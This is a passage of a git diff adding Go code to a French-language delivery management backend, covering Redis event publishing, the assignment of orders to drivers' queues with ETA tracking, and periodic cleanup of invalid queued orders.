|
||||
lat >= -90 && lat <= 90 &&
|
||||
lon >= -180 && lon <= 180
|
||||
}
|
||||
|
||||
// Tronque les coordonnées pour logs (4 décimales suffisent pour anonymiser)
|
||||
func truncate(f float64) float64 {
|
||||
return math.Round(f*10000) / 10000
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PublishCommandEvent publie un événement de commande
|
||||
func (d *Database) PublishCommandEvent(commandID int, eventType, message string) {
|
||||
channel := fmt.Sprintf("events:command:%d", commandID)
|
||||
|
||||
event := map[string]interface{}{
|
||||
"command_id": commandID,
|
||||
"type": eventType,
|
||||
"message": message,
|
||||
"timestamp": time.Now().Unix(),
|
||||
}
|
||||
|
||||
data, _ := json.Marshal(event)
|
||||
Redis.Publish(RedisCtx, channel, data)
|
||||
}
|
||||
|
||||
// PublishDeliveryPersonLocationUpdate publie un événement de mise à jour de position
|
||||
func (d *Database) PublishDeliveryPersonLocationUpdate(username string, lat, lon float64) {
|
||||
message := map[string]interface{}{
|
||||
"type": "location_update",
|
||||
"username": username,
|
||||
"latitude": lat,
|
||||
"longitude": lon,
|
||||
"timestamp": time.Now().Unix(),
|
||||
}
|
||||
|
||||
data, _ := json.Marshal(message)
|
||||
Redis.Publish(RedisCtx, "delivery:events", data)
|
||||
|
||||
log.Printf("📡 Événement publié: Position de %s mise à jour", username)
|
||||
}
|
||||
@@ -0,0 +1,430 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// AssignCommandToDeliverymanQueue assigne une commande à la queue d'un livreur
|
||||
func (d *Database) AssignCommandToDeliverymanQueue(commandID int, deliveryman string, estimatedTravelTime int) error {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
activeCount, _ := d.CountActiveDeliverymen()
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// Si plusieurs livreurs, appliquer la limite de 10
|
||||
if activeCount > 1 && currentQueueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
|
||||
return fmt.Errorf("livreur %s a atteint le maximum de commandes (%d)", deliveryman, MAX_COMMANDS_PER_DELIVERYMAN)
|
||||
}
|
||||
|
||||
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
|
||||
totalETA := estimatedTravelTime
|
||||
|
||||
var lat, lng float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
lat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||
lng = lngVal
|
||||
}
|
||||
}
|
||||
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
var address string
|
||||
if addr, ok := command["delivery_address"].(string); ok {
|
||||
address = addr
|
||||
} else if addr, ok := command["adresse"].(string); ok {
|
||||
address = addr
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: command["username"].(string),
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: totalETA,
|
||||
}
|
||||
|
||||
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||
}
|
||||
|
||||
d.UpdateCommandStatus(commandID, "assigned")
|
||||
d.AssignDeliveryPerson(commandID, deliveryman)
|
||||
// ✅ MODIFIÉ: Position dans la queue pour info seulement
|
||||
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
|
||||
|
||||
limitInfo := ""
|
||||
if activeCount > 1 {
|
||||
limitInfo = fmt.Sprintf("/%d", MAX_COMMANDS_PER_DELIVERYMAN)
|
||||
} else {
|
||||
limitInfo = " (sans limite - seul livreur)"
|
||||
}
|
||||
|
||||
d.AddCommandLog(commandID, "queued",
|
||||
fmt.Sprintf("Ajouté à la queue de %s (position: %d%s, ETA trajet: %d min)",
|
||||
deliveryman, currentQueueSize+1, limitInfo, totalETA),
|
||||
"system")
|
||||
|
||||
log.Printf("✅ Commande %d -> Queue %s (pos: %d%s, ETA trajet: %d min)",
|
||||
commandID, deliveryman, currentQueueSize+1, limitInfo, totalETA)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// AssignCommandToDeliverymanQueueUnlimited assigne sans limite (pour un seul livreur)
|
||||
func (d *Database) AssignCommandToDeliverymanQueueUnlimited(deliveryman string, queueItem models.CommandQueue) error {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// ✅ MODIFIÉ: Calculer le temps de trajet direct depuis la position du livreur
|
||||
travelTime := d.CalculateETAForDeliveryman(deliveryman, queueItem.Lat, queueItem.Lng)
|
||||
|
||||
// ✅ ETA = temps de trajet direct uniquement
|
||||
queueItem.EstimatedETA = travelTime
|
||||
|
||||
err := d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||
}
|
||||
|
||||
d.UpdateCommandStatus(queueItem.CommandID, "assigned")
|
||||
d.AssignDeliveryPerson(queueItem.CommandID, deliveryman)
|
||||
d.SetCommandETAWithDetails(queueItem.CommandID, travelTime, int(currentQueueSize)+1)
|
||||
|
||||
d.AddCommandLog(queueItem.CommandID, "queued",
|
||||
fmt.Sprintf("Assigné au seul livreur actif %s (position: %d, ETA trajet: %d min)",
|
||||
deliveryman, currentQueueSize+1, travelTime),
|
||||
"system")
|
||||
|
||||
log.Printf("✅ Commande %d -> Queue %s (SANS LIMITE - pos: %d, ETA trajet: %d min)",
|
||||
queueItem.CommandID, deliveryman, currentQueueSize+1, travelTime)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// AssignCommandToDeliverymanQueueWithCoords assigne une commande avec les coordonnées GPS
|
||||
func (d *Database) AssignCommandToDeliverymanQueueWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
activeCount, _ := d.CountActiveDeliverymen()
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
if activeCount > 1 && currentQueueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
|
||||
return fmt.Errorf("livreur %s a atteint le maximum de commandes (%d)", deliveryman, MAX_COMMANDS_PER_DELIVERYMAN)
|
||||
}
|
||||
|
||||
// ✅ ETA = temps de trajet direct uniquement
|
||||
totalETA := estimatedTravelTime
|
||||
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
var username string
|
||||
if u, ok := command["username"].(string); ok {
|
||||
username = u
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: username,
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: totalETA,
|
||||
}
|
||||
|
||||
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ CORRECTION: Mettre à jour livreur_assign dans la DB
|
||||
// ============================================
|
||||
updateQuery := `UPDATE commandes
|
||||
SET livreur_assign = $1,
|
||||
status = 'assigned',
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $2`
|
||||
|
||||
_, err = d.Exec(updateQuery, deliveryman, commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur mise à jour livreur_assign: %v", err)
|
||||
return fmt.Errorf("erreur mise à jour DB: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ DB mise à jour: livreur_assign=%s pour commande %d", deliveryman, commandID)
|
||||
|
||||
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
|
||||
|
||||
// Sauvegarder dans le cache destination
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||
"lat": lat,
|
||||
"lon": lng,
|
||||
})
|
||||
Redis.Set(RedisCtx, destCacheKey, coordsJSON, 4*time.Hour)
|
||||
|
||||
limitInfo := ""
|
||||
if activeCount > 1 {
|
||||
limitInfo = fmt.Sprintf("/%d", MAX_COMMANDS_PER_DELIVERYMAN)
|
||||
} else {
|
||||
limitInfo = " (sans limite - seul livreur)"
|
||||
}
|
||||
|
||||
d.AddCommandLog(commandID, "assigned",
|
||||
fmt.Sprintf("Assigné à %s (position: %d%s, ETA trajet: %d min, coords: %.4f,%.4f)",
|
||||
deliveryman, currentQueueSize+1, limitInfo, totalETA, lat, lng),
|
||||
"system")
|
||||
|
||||
log.Printf("✅ Commande %d -> Livreur %s (pos: %d%s, ETA trajet: %d min, coords: %.4f,%.4f)",
|
||||
commandID, deliveryman, currentQueueSize+1, limitInfo, totalETA, lat, lng)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ForceAssignCommandToDeliverymanWithCoords assigne une commande de force avec coordonnées
|
||||
// ForceAssignCommandToDeliverymanWithCoords assigne une commande de force avec coordonnées
|
||||
func (d *Database) ForceAssignCommandToDeliverymanWithCoords(commandID int, deliveryman string, estimatedTravelTime int, lat, lng float64, address string) error {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
|
||||
totalETA := estimatedTravelTime
|
||||
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
var username string
|
||||
if u, ok := command["username"].(string); ok {
|
||||
username = u
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: username,
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: totalETA,
|
||||
}
|
||||
|
||||
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||
}
|
||||
|
||||
d.UpdateCommandStatus(commandID, "assigned")
|
||||
d.AssignDeliveryPerson(commandID, deliveryman)
|
||||
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
|
||||
|
||||
// Sauvegarder dans le cache destination
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||
"lat": lat,
|
||||
"lon": lng,
|
||||
})
|
||||
Redis.Set(RedisCtx, destCacheKey, coordsJSON, 4*time.Hour)
|
||||
|
||||
d.AddCommandLog(commandID, "force_queued",
|
||||
fmt.Sprintf("Assignation forcée à %s (position: %d, ETA trajet: %d min, coords: %.4f,%.4f)",
|
||||
deliveryman, currentQueueSize+1, totalETA, lat, lng),
|
||||
"system")
|
||||
|
||||
log.Printf("⚠️ FORCE: Commande %d -> Queue %s (pos: %d, ETA trajet: %d min, coords: %.4f,%.4f)",
|
||||
commandID, deliveryman, currentQueueSize+1, totalETA, lat, lng)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ForceAssignCommandToDeliveryman assigne une commande à un livreur SANS vérifier la limite de 10
|
||||
func (d *Database) ForceAssignCommandToDeliveryman(commandID int, deliveryman string, estimatedTravelTime int) error {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
currentQueueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// ✅ MODIFIÉ: ETA = temps de trajet direct uniquement
|
||||
totalETA := estimatedTravelTime
|
||||
|
||||
var lat, lng float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
lat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||
lng = lngVal
|
||||
}
|
||||
}
|
||||
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
|
||||
var address string
|
||||
if addr, ok := command["delivery_address"].(string); ok {
|
||||
address = addr
|
||||
} else if addr, ok := command["adresse"].(string); ok {
|
||||
address = addr
|
||||
}
|
||||
|
||||
queueItem := models.CommandQueue{
|
||||
CommandID: commandID,
|
||||
Username: command["username"].(string),
|
||||
TotalPrice: totalPrice,
|
||||
Address: address,
|
||||
Lat: lat,
|
||||
Lng: lng,
|
||||
CreatedAt: time.Now(),
|
||||
EstimatedETA: totalETA,
|
||||
}
|
||||
|
||||
err = d.AddToDeliverymanQueue(deliveryman, queueItem)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur ajout à la queue: %w", err)
|
||||
}
|
||||
|
||||
d.UpdateCommandStatus(commandID, "assigned")
|
||||
d.AssignDeliveryPerson(commandID, deliveryman)
|
||||
d.SetCommandETAWithDetails(commandID, totalETA, int(currentQueueSize)+1)
|
||||
|
||||
d.AddCommandLog(commandID, "force_queued",
|
||||
fmt.Sprintf("Assignation forcée à %s (position: %d, ETA trajet: %d min)",
|
||||
deliveryman, currentQueueSize+1, totalETA),
|
||||
"system")
|
||||
|
||||
log.Printf("⚠️ FORCE: Commande %d -> Queue %s (pos: %d, ETA trajet: %d min)",
|
||||
commandID, deliveryman, currentQueueSize+1, totalETA)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// AutoAssignCommand assigne automatiquement une commande au premier livreur disponible
|
||||
func (d *Database) AutoAssignCommand(commandID int) error {
|
||||
// Récupérer les livreurs disponibles
|
||||
available, err := d.GetAvailableDeliveryPersonsRedis()
|
||||
if err != nil || len(available) == 0 {
|
||||
return fmt.Errorf("aucun livreur disponible")
|
||||
}
|
||||
|
||||
// Prendre le premier livreur
|
||||
livreur := available[0]
|
||||
|
||||
// Assigner dans la DB principale
|
||||
err = d.AssignDeliveryPerson(commandID, livreur.Username)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Mettre à jour le statut dans Redis
|
||||
d.SetDeliveryPersonStatus(livreur.Username, "busy", commandID)
|
||||
|
||||
// Retirer de la file d'attente
|
||||
d.RemoveCommandFromQueue(commandID)
|
||||
|
||||
// Définir l'ETA initial
|
||||
d.SetCommandETA(commandID, 30)
|
||||
|
||||
log.Printf("✅ Commande %d auto-assignée à %s", commandID, livreur.Username)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) ProcessNextCommandInQueue(deliveryman string) error {
|
||||
log.Printf("🔄 Traitement de la prochaine commande pour %s", deliveryman)
|
||||
|
||||
// Vérifier d'abord la queue spécifique du livreur
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
results, err := Redis.ZRangeWithScores(RedisCtx, queueKey, 0, 0).Result()
|
||||
|
||||
if err == nil && len(results) > 0 {
|
||||
// Une commande est dans sa queue - la traiter
|
||||
commandID := extractCommandID(results[0].Member)
|
||||
|
||||
// Mettre à jour le statut
|
||||
d.SetDeliveryPersonStatus(deliveryman, "busy", commandID)
|
||||
|
||||
log.Printf("✅ Livreur %s traite la commande %d de sa queue", deliveryman, commandID)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Si aucune commande dans sa queue, chercher dans la queue générale
|
||||
generalResults, err := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, 0).Result()
|
||||
|
||||
if err != nil || len(generalResults) == 0 {
|
||||
log.Printf("ℹ️ Aucune commande en attente pour %s", deliveryman)
|
||||
return nil
|
||||
}
|
||||
|
||||
commandID := extractCommandID(generalResults[0].Member)
|
||||
|
||||
// Assigner la commande
|
||||
err = d.AssignDeliveryPerson(commandID, deliveryman)
|
||||
if err != nil {
|
||||
log.Printf("❌ Erreur assignation commande %d: %v", commandID, err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Retirer de la queue générale
|
||||
Redis.ZRem(RedisCtx, "queue:pending:sorted", strconv.Itoa(commandID))
|
||||
|
||||
// Mettre à jour le statut
|
||||
d.SetDeliveryPersonStatus(deliveryman, "busy", commandID)
|
||||
|
||||
// Définir un ETA par défaut
|
||||
d.SetCommandETA(commandID, 30)
|
||||
|
||||
// Ajouter log
|
||||
d.AddCommandLog(commandID, "auto_assigned",
|
||||
fmt.Sprintf("Assigné automatiquement à %s depuis la queue générale", deliveryman),
|
||||
"system")
|
||||
|
||||
log.Printf("✅ Commande %d assignée automatiquement à %s (queue générale)", commandID, deliveryman)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,273 @@
|
||||
// db/redis_queue_cleanup.go
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// NETTOYAGE DES COMMANDES INVALIDES
|
||||
// ============================================
|
||||
|
||||
// CleanupInvalidQueueCommands supprime toutes les commandes avec des données manquantes
|
||||
func (d *Database) CleanupInvalidQueueCommands() (int, error) {
|
||||
log.Println("🧹 [CLEANUP] Démarrage du nettoyage des commandes invalides...")
|
||||
|
||||
// Récupérer toutes les clés de commandes en attente
|
||||
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur récupération des clés: %w", err)
|
||||
}
|
||||
|
||||
removedCount := 0
|
||||
validCount := 0
|
||||
|
||||
for _, key := range keys {
|
||||
// Récupérer les données
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CLEANUP] Impossible de lire %s: %v", key, err)
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
log.Printf("❌ [CLEANUP] JSON invalide pour %s - SUPPRESSION", key)
|
||||
d.removeInvalidCommand(key, queueItem.CommandID, "JSON invalide")
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
|
||||
// ✅ VALIDATION DES CHAMPS REQUIS
|
||||
isValid := true
|
||||
reasons := []string{}
|
||||
|
||||
// 1. Vérifier Username
|
||||
if queueItem.Username == "" {
|
||||
isValid = false
|
||||
reasons = append(reasons, "username vide")
|
||||
}
|
||||
|
||||
// 2. Vérifier Address
|
||||
if queueItem.Address == "" {
|
||||
isValid = false
|
||||
reasons = append(reasons, "adresse vide")
|
||||
}
|
||||
|
||||
// 3. Vérifier Coordinates
|
||||
if queueItem.Lat == 0 || queueItem.Lng == 0 {
|
||||
isValid = false
|
||||
reasons = append(reasons, "coordonnées GPS manquantes")
|
||||
}
|
||||
|
||||
// 4. Vérifier CreatedAt
|
||||
if queueItem.CreatedAt.IsZero() || queueItem.CreatedAt.Year() == 1 {
|
||||
isValid = false
|
||||
reasons = append(reasons, "date de création invalide")
|
||||
}
|
||||
|
||||
// 5. Vérifier TotalPrice (optionnel mais recommandé)
|
||||
if queueItem.TotalPrice <= 0 {
|
||||
log.Printf("⚠️ [CLEANUP] Commande %d: prix suspect (%.2f)", queueItem.CommandID, queueItem.TotalPrice)
|
||||
}
|
||||
|
||||
// ❌ SUPPRIMER SI INVALIDE
|
||||
if !isValid {
|
||||
log.Printf("❌ [CLEANUP] Commande %d INVALIDE: %v - SUPPRESSION", queueItem.CommandID, reasons)
|
||||
d.removeInvalidCommand(key, queueItem.CommandID, fmt.Sprintf("%v", reasons))
|
||||
removedCount++
|
||||
} else {
|
||||
validCount++
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("✅ [CLEANUP] Terminé: %d commandes supprimées, %d commandes valides restantes", removedCount, validCount)
|
||||
return removedCount, nil
|
||||
}
|
||||
|
||||
// removeInvalidCommand supprime une commande invalide de toutes les queues
|
||||
func (d *Database) removeInvalidCommand(key string, commandID int, reason string) {
|
||||
commandIDStr := fmt.Sprintf("%d", commandID)
|
||||
|
||||
// 1. Supprimer la clé de données
|
||||
Redis.Del(RedisCtx, key)
|
||||
|
||||
// 2. Supprimer de la queue générale
|
||||
Redis.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr)
|
||||
Redis.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
|
||||
|
||||
// 3. Supprimer des queues de livreurs
|
||||
livreurKeys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
|
||||
for _, queueKey := range livreurKeys {
|
||||
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
|
||||
continue
|
||||
}
|
||||
Redis.ZRem(RedisCtx, queueKey, commandIDStr)
|
||||
}
|
||||
|
||||
// 4. Supprimer l'ETA si existe
|
||||
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
||||
Redis.Del(RedisCtx, etaKey)
|
||||
|
||||
// 5. Supprimer le cache de destination
|
||||
destKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
Redis.Del(RedisCtx, destKey)
|
||||
|
||||
// 6. Logger dans la base de données
|
||||
d.AddCommandLog(commandID, "cleanup_removed",
|
||||
fmt.Sprintf("Commande supprimée de Redis: %s", reason),
|
||||
"system")
|
||||
|
||||
log.Printf("🗑️ [CLEANUP] Commande %d supprimée: %s", commandID, reason)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// VALIDATION STRICTE AVANT AJOUT À LA QUEUE
|
||||
// ============================================
|
||||
|
||||
// ValidateCommandBeforeQueue valide qu'une commande a toutes les données requises
|
||||
func (d *Database) ValidateCommandBeforeQueue(commandID int) error {
|
||||
command, err := d.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("commande introuvable: %w", err)
|
||||
}
|
||||
|
||||
// ✅ VALIDATION STRICTE
|
||||
errors := []string{}
|
||||
|
||||
// 1. Username
|
||||
username, ok := command["username"].(string)
|
||||
if !ok || username == "" {
|
||||
errors = append(errors, "username manquant")
|
||||
}
|
||||
|
||||
// 2. Address
|
||||
address := ""
|
||||
if addr, ok := command["delivery_address"].(string); ok && addr != "" {
|
||||
address = addr
|
||||
} else if addr, ok := command["adresse"].(string); ok && addr != "" {
|
||||
address = addr
|
||||
}
|
||||
if address == "" {
|
||||
errors = append(errors, "adresse de livraison manquante")
|
||||
}
|
||||
|
||||
// 3. Coordinates
|
||||
var lat, lng float64
|
||||
if command["dest_latitude"] != nil {
|
||||
if latVal, ok := command["dest_latitude"].(float64); ok {
|
||||
lat = latVal
|
||||
}
|
||||
}
|
||||
if command["dest_longitude"] != nil {
|
||||
if lngVal, ok := command["dest_longitude"].(float64); ok {
|
||||
lng = lngVal
|
||||
}
|
||||
}
|
||||
if lat == 0 || lng == 0 {
|
||||
errors = append(errors, "coordonnées GPS manquantes")
|
||||
}
|
||||
|
||||
// 4. Total Price
|
||||
var totalPrice float64
|
||||
if tp, ok := command["total_prix"].(float64); ok {
|
||||
totalPrice = tp
|
||||
}
|
||||
if totalPrice <= 0 {
|
||||
errors = append(errors, "prix total invalide")
|
||||
}
|
||||
|
||||
if len(errors) > 0 {
|
||||
return fmt.Errorf("validation échouée: %v", errors)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// NETTOYAGE AUTOMATIQUE PÉRIODIQUE
|
||||
// ============================================
|
||||
|
||||
// StartQueueCleanupScheduler démarre un nettoyage automatique toutes les 5 minutes
|
||||
func (d *Database) StartQueueCleanupScheduler() {
|
||||
go func() {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("🔄 [CLEANUP] Scheduler de nettoyage démarré (toutes les 5 minutes)")
|
||||
|
||||
for range ticker.C {
|
||||
removed, err := d.CleanupInvalidQueueCommands()
|
||||
if err != nil {
|
||||
log.Printf("❌ [CLEANUP] Erreur: %v", err)
|
||||
} else if removed > 0 {
|
||||
log.Printf("🧹 [CLEANUP] %d commandes invalides supprimées", removed)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RAPPORT DE VALIDATION
|
||||
// ============================================
|
||||
|
||||
// GetQueueValidationReport génère un rapport de validation sans supprimer
|
||||
func (d *Database) GetQueueValidationReport() (map[string]interface{}, error) {
|
||||
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
report := map[string]interface{}{
|
||||
"total_commands": len(keys),
|
||||
"valid_commands": 0,
|
||||
"invalid_commands": 0,
|
||||
"invalid_details": []map[string]interface{}{},
|
||||
"validation_results": []string{},
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := Redis.Get(RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
report["invalid_commands"] = report["invalid_commands"].(int) + 1
|
||||
continue
|
||||
}
|
||||
|
||||
// Validation
|
||||
issues := []string{}
|
||||
if queueItem.Username == "" {
|
||||
issues = append(issues, "username vide")
|
||||
}
|
||||
if queueItem.Address == "" {
|
||||
issues = append(issues, "adresse vide")
|
||||
}
|
||||
if queueItem.Lat == 0 || queueItem.Lng == 0 {
|
||||
issues = append(issues, "GPS manquant")
|
||||
}
|
||||
if queueItem.CreatedAt.IsZero() {
|
||||
issues = append(issues, "date invalide")
|
||||
}
|
||||
|
||||
if len(issues) > 0 {
|
||||
report["invalid_commands"] = report["invalid_commands"].(int) + 1
|
||||
report["invalid_details"] = append(report["invalid_details"].([]map[string]interface{}), map[string]interface{}{
|
||||
"command_id": queueItem.CommandID,
|
||||
"issues": issues,
|
||||
"data": queueItem,
|
||||
})
|
||||
} else {
|
||||
report["valid_commands"] = report["valid_commands"].(int) + 1
|
||||
}
|
||||
}
|
||||
|
||||
return report, nil
|
||||
}
|
||||
@@ -0,0 +1,169 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GetDeliverymanQueueInfo récupère les infos de queue d'un livreur
|
||||
func (d *Database) GetDeliverymanQueueInfo(deliveryman string) (map[string]interface{}, error) {
|
||||
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
|
||||
|
||||
// Nombre de commandes dans la queue
|
||||
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
|
||||
|
||||
// Récupérer toutes les commandes
|
||||
commandIDs, _ := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
|
||||
|
||||
// Vérifier le nombre de livreurs actifs pour déterminer la limite
|
||||
activeCount, _ := d.CountActiveDeliverymen()
|
||||
|
||||
// Récupérer les détails de chaque commande
|
||||
var commands []map[string]interface{}
|
||||
for i, cmdIDStr := range commandIDs {
|
||||
commandID := extractCommandID(cmdIDStr)
|
||||
if commandID <= 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
// Récupérer les données de la commande
|
||||
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
|
||||
data, err := Redis.Get(RedisCtx, commandKey).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var queueItem models.CommandQueue
|
||||
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
commands = append(commands, map[string]interface{}{
|
||||
"position": i + 1,
|
||||
"command_id": commandID,
|
||||
"address": queueItem.Address,
|
||||
"estimated_eta": queueItem.EstimatedETA,
|
||||
"created_at": queueItem.CreatedAt,
|
||||
"lat": queueItem.Lat,
|
||||
"lng": queueItem.Lng,
|
||||
})
|
||||
}
|
||||
|
||||
// Déterminer si le livreur peut accepter plus de commandes
|
||||
canAcceptMore := true
|
||||
if activeCount > 1 {
|
||||
// Plusieurs livreurs: limite de 10
|
||||
canAcceptMore = queueSize < MAX_COMMANDS_PER_DELIVERYMAN
|
||||
}
|
||||
// Si un seul livreur: pas de limite (canAcceptMore reste true)
|
||||
|
||||
return map[string]interface{}{
|
||||
"deliveryman": deliveryman,
|
||||
"queue_size": queueSize,
|
||||
